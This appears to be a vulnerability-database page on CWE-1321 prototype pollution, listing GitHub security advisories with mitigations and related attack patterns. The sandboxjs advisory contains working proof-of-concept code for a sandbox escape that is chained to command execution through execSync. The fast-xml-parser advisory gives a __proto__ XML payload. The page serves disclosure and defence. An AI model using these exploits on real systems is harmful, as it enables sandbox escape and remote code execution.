CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
928 vulnerabilities reference this CWE, most recent first.
GHSA-WW7G-4GWX-M7WJ
Vulnerability from github – Published: 2026-02-10 00:24 – Updated: 2026-02-10 02:56Summary
A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).
Details
Root Cause:
The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.
Vulnerable Code Path src/executor.ts(L559-L571):
addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
const items = (b as LispItem[])
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return item;
}
})
.flat()
.map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here
done(undefined, items);
});
Exploitation Flow:
Sandboxed code: const m=[Map.prototype][0]
↓
Array creation: isGlobal taint stripped via valueOrProp()
↓
Prototype mutation: m.cmd='id' (host prototype polluted)
↓
Host-side impact: new Map().cmd === 'id' (persistent)
↓
RCE (application-dependent): host code calls execSync(obj.cmd)
Protection Bypass Location src/utils.ts(L380-L385):
set(key: string, val: unknown) {
// ...
if (prop.isGlobal) { // <- This check is bypassed
throw new SandboxError(`Cannot override global variable '${key}'`);
}
(prop.context as any)[prop.prop] = val;
return prop;
}
When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.
PoC
Prototype pollution via array intermediary:
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const arr=[Map.prototype];
const p=arr[0];
p.polluted='pwned';
return 'done';
`)().run();
console.log('polluted' in ({}), new Map().polluted);
Observed output: false pwned
Overwrite Set.prototype.has:
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const s=[Set.prototype][0];
s.has=isFinite;
return 'done';
`)().run();
console.log('has overwritten:', Set.prototype.has === isFinite);
Observed output: has overwritten: true
RCE via host gadget (prototype pollution -> execSync):
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const m=[Map.prototype][0];
m.cmd='id';
return 'done';
`)().run();
const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Observed output: uid=501(user) gid=20(staff) groups=20(staff),...
Impact
This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., Map.prototype, Set.prototype), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing obj.cmd to child_process.execSync).
Affected Systems: any application using @nyariv/sandboxjs to execute untrusted JavaScript.
Remediation
- Preserve
isGlobalprotection across array/object literal creation (do not unwrapPropinto raw values in a way that drops the global/prototype taint). - Add a hard block on writes to built-in prototypes (e.g.,
Map.prototype,Set.prototype, etc.) even if they are obtained indirectly through literals. - Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.30"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25881"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T00:24:53Z",
"nvd_published_at": "2026-02-09T22:16:03Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) =\u003e {\n const items = (b as LispItem[])\n .map((item) =\u003e {\n if (item instanceof SpreadArray) {\n return [...item.item];\n } else {\n return item;\n }\n })\n .flat()\n .map((item) =\u003e valueOrProp(item, context)); // \u003c- isGlobal flag lost here\n done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n \u2193\nArray creation: isGlobal taint stripped via valueOrProp()\n \u2193\nPrototype mutation: m.cmd=\u0027id\u0027 (host prototype polluted)\n \u2193\nHost-side impact: new Map().cmd === \u0027id\u0027 (persistent)\n \u2193\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n // ...\n if (prop.isGlobal) { // \u003c- This check is bypassed\n throw new SandboxError(`Cannot override global variable \u0027${key}\u0027`);\n }\n (prop.context as any)[prop.prop] = val;\n return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const arr=[Map.prototype];\n const p=arr[0];\n p.polluted=\u0027pwned\u0027;\n return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027polluted\u0027 in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const s=[Set.prototype][0];\n s.has=isFinite;\n return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027has overwritten:\u0027, Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -\u003e execSync):\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const m=[Map.prototype][0];\n m.cmd=\u0027id\u0027;\n return \u0027done\u0027;\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: \u0027utf8\u0027 }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
"id": "GHSA-ww7g-4gwx-m7wj",
"modified": "2026-02-10T02:56:33Z",
"published": "2026-02-10T00:24:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25881"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)"
}
GHSA-WW98-MRX2-M82H
Vulnerability from github – Published: 2025-04-08 21:31 – Updated: 2025-04-08 21:31Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.
{
"affected": [],
"aliases": [
"CVE-2024-12556"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T20:15:19Z",
"severity": "HIGH"
},
"details": "Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.",
"id": "GHSA-ww98-mrx2-m82h",
"modified": "2025-04-08T21:31:40Z",
"published": "2025-04-08T21:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12556"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-16-4-and-8-17-2-security-update-esa-2025-02/376918"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WWG2-2CRQ-6GRR
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-06-17 21:38Prototype pollution vulnerability in '@strikeentco/set' version 1.0.0 allows attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strikeentco/set"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0"
]
}
],
"aliases": [
"CVE-2020-28267"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-17T21:38:52Z",
"nvd_published_at": "2020-11-10T16:15:00Z",
"severity": "HIGH"
},
"details": "Prototype pollution vulnerability in \u0027@strikeentco/set\u0027 version 1.0.0 allows attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-wwg2-2crq-6grr",
"modified": "2022-06-17T21:38:52Z",
"published": "2022-05-24T17:34:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28267"
},
{
"type": "WEB",
"url": "https://github.com/strikeentco/set/commit/102cc6b2e1d1e0c928ced87e75df759d5541ff60"
},
{
"type": "WEB",
"url": "https://github.com/strikeentco/set"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28267"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in @strikeentco/set"
}
GHSA-WWXH-74FX-33C6
Vulnerability from github – Published: 2023-05-01 14:01 – Updated: 2023-05-01 14:01Impact
Possible prototype pollution for the MetadataRecord, when merged with a base class' metadata object, in meta decorator from the @aedart/support package.
The likelihood is questionable, given that a class' metadata can only be set or altered when the class is decorated via meta(). Furthermore, object(s) of sensitive nature would have to be stored as metadata, before this can become a vulnerability.
Patches
Has been patched in version 0.6.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@aedart/support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-30857"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-01T14:01:02Z",
"nvd_published_at": "2023-04-28T21:15:09Z",
"severity": "LOW"
},
"details": "### Impact\n\nPossible prototype pollution for the `MetadataRecord`, when merged with a base class\u0027 metadata object, in `meta` decorator from the `@aedart/support` package.\n\nThe likelihood is questionable, given that a class\u0027 metadata can only be set or altered when the class is decorated via `meta()`. Furthermore, object(s) of sensitive nature would have to be stored as metadata, before this can become a vulnerability.\n### Patches\n\nHas been patched in version `0.6.1`.\n",
"id": "GHSA-wwxh-74fx-33c6",
"modified": "2023-05-01T14:01:02Z",
"published": "2023-05-01T14:01:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aedart/ion/security/advisories/GHSA-wwxh-74fx-33c6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30857"
},
{
"type": "WEB",
"url": "https://github.com/aedart/ion/commit/c3e2ee08710d4164d796ecb66ed291335dae9291"
},
{
"type": "PACKAGE",
"url": "https://github.com/aedart/ion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Possible prototype pollution in metadata record, when using meta decorator"
}
GHSA-WX5G-37JH-9GCR
Vulnerability from github – Published: 2022-10-20 12:00 – Updated: 2022-10-21 19:01Prototype pollution vulnerability in function DEFNODE in ast.js in mishoo UglifyJS 3.13.2 via the name variable in ast.js.
{
"affected": [],
"aliases": [
"CVE-2022-37598"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-20T11:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in function DEFNODE in ast.js in mishoo UglifyJS 3.13.2 via the name variable in ast.js.",
"id": "GHSA-wx5g-37jh-9gcr",
"modified": "2022-10-21T19:01:14Z",
"published": "2022-10-20T12:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37598"
},
{
"type": "WEB",
"url": "https://github.com/mishoo/UglifyJS/issues/5699"
},
{
"type": "WEB",
"url": "https://github.com/mishoo/UglifyJS/issues/5721#issuecomment-1292849604"
},
{
"type": "WEB",
"url": "https://github.com/mishoo/UglifyJS/blob/352a944868b09c9ce3121a49d4a0bf0afe370a35/lib/ast.js#L46"
},
{
"type": "WEB",
"url": "https://github.com/mishoo/UglifyJS/blob/352a944868b09c9ce3121a49d4a0bf0afe370a35/lib/ast.js#L79"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXFJ-84XF-7GXV
Vulnerability from github – Published: 2023-02-28 06:30 – Updated: 2023-03-08 23:14All versions of the package utilities are vulnerable to Prototype Pollution via the _mix function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "utilities"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26105"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-06T21:55:12Z",
"nvd_published_at": "2023-02-28T05:15:00Z",
"severity": "HIGH"
},
"details": "All versions of the package utilities are vulnerable to Prototype Pollution via the _mix function.",
"id": "GHSA-wxfj-84xf-7gxv",
"modified": "2023-03-08T23:14:00Z",
"published": "2023-02-28T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26105"
},
{
"type": "WEB",
"url": "https://github.com/mde/utilities/issues/29"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-UTILITIES-3184491"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "mde utilities contains Prototype Pollution"
}
GHSA-X27P-FPR7-4WPM
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-09-08 15:31Prototype pollution vulnerability in searchParamsToObject() is leading to a persistent XSS in Maps. URL parameter processing was not filtering dangerous properties like proto, combined with jQuery's unsafe element creation that traversed the prototype chain.
{
"affected": [],
"aliases": [
"CVE-2026-23929"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T13:17:21Z",
"severity": "HIGH"
},
"details": "Prototype pollution vulnerability in searchParamsToObject() is leading to a persistent XSS in Maps. URL parameter processing was not filtering dangerous properties like __proto__, combined with jQuery\u0027s unsafe element creation that traversed the prototype chain.",
"id": "GHSA-x27p-fpr7-4wpm",
"modified": "2026-09-08T15:31:28Z",
"published": "2026-08-18T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23929"
},
{
"type": "WEB",
"url": "https://support.zabbix.com/browse/ZBX-28068"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X2W5-725J-GF2G
Vulnerability from github – Published: 2022-04-20 16:21 – Updated: 2022-05-26 19:43Impact
- An attacker can inject attributes that are used in other components
- An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.
The main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it's unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.
Patches
The problem is patched in convict@6.2.3. Users should upgrade to convict@6.2.3.
Workarounds
No way for users to fix or remediate the vulnerability without upgrading
References
- https://www.huntr.dev/bounties/1-npm-convict/
-
384
- 3b86be087d8f14681a9c889d45da7fe3ad9cd880
- 1ea0ab19c5208f66509e1c43b0d0f21c1fd29b75
For more information
If you have any questions or comments about this advisory: add your question as a comment in #384
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "convict"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-22143"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-20T16:21:03Z",
"nvd_published_at": "2022-05-01T16:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\n* An attacker can inject attributes that are used in other components\n* An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.\n\nThe main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it\u0027s unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.\n\n### Patches\n\nThe problem is patched in `convict@6.2.3`. Users should upgrade to `convict@6.2.3`.\n\n### Workarounds\n\nNo way for users to fix or remediate the vulnerability without upgrading\n\n### References\n\n* https://www.huntr.dev/bounties/1-npm-convict/\n* #384\n* 3b86be087d8f14681a9c889d45da7fe3ad9cd880\n* 1ea0ab19c5208f66509e1c43b0d0f21c1fd29b75\n\n### For more information\n\nIf you have any questions or comments about this advisory: \nadd your question as a comment in #384 \n",
"id": "GHSA-x2w5-725j-gf2g",
"modified": "2022-05-26T19:43:23Z",
"published": "2022-04-20T16:21:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-x2w5-725j-gf2g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22143"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict/pull/384"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict/blob/5eb1314f85346760a3c31cb14510f2f0af11d0d3/packages/convict/src/main.js%23L569"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/node-convict/releases/tag/v6.2.2"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-CONVICT-2340604"
},
{
"type": "WEB",
"url": "https://www.huntr.dev/bounties/1-npm-convict"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in convict"
}
GHSA-X3CC-X39P-42QX
Vulnerability from github – Published: 2023-06-13 12:44 – Updated: 2023-12-14 22:27Impact
As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
Patches
The problem has been patched in v4.1.2
Workarounds
User can check for "proto" in the XML string before parsing it to the parser.
References
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26920"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-13T12:44:34Z",
"nvd_published_at": "2023-12-12T17:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nAs a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name.\n\n```js\nconst { XMLParser, XMLBuilder, XMLValidator} = require(\"fast-xml-parser\");\n\nlet XMLdata = \"\u003c__proto__\u003e\u003cpolluted\u003ehacked\u003c/polluted\u003e\u003c/__proto__\u003e\"\n\nconst parser = new XMLParser();\nlet jObj = parser.parse(XMLdata);\n\nconsole.log(jObj.polluted) // should return hacked\n``` \n\n### Patches\nThe problem has been patched in v4.1.2\n\n### Workarounds\nUser can check for \"__proto__\" in the XML string before parsing it to the parser.\n\n### References\nhttps://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7\n",
"id": "GHSA-x3cc-x39p-42qx",
"modified": "2023-12-14T22:27:59Z",
"published": "2023-06-13T12:44:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26920"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804"
},
{
"type": "WEB",
"url": "https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-793h-6f7r-6qvm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name"
}
GHSA-X3M3-4WPV-5VGC
Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-25 15:25jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function s.contexts._.configure. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.6"
},
"package": {
"ecosystem": "npm",
"name": "requirejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-38999"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-10T16:50:19Z",
"nvd_published_at": "2024-07-01T13:15:05Z",
"severity": "HIGH"
},
"details": "jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function `s.contexts._.configure`. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
"id": "GHSA-x3m3-4wpv-5vgc",
"modified": "2024-07-25T15:25:40Z",
"published": "2024-07-01T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38999"
},
{
"type": "WEB",
"url": "https://github.com/requirejs/r.js/issues/1015"
},
{
"type": "WEB",
"url": "https://github.com/requirejs/requirejs/issues/1854"
},
{
"type": "WEB",
"url": "https://github.com/requirejs/requirejs/pull/1856/commits/ebd7a2ff71473542fa132d0d15c10fb4ed1539e1"
},
{
"type": "WEB",
"url": "https://gist.github.com/mestrtee/9acae342285bd2998fa09ebcb1e6d30a"
},
{
"type": "PACKAGE",
"url": "https://github.com/requirejs/r.js"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-REQUIREJS-5416713"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "jrburke requirejs vulnerable to prototype pollution"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.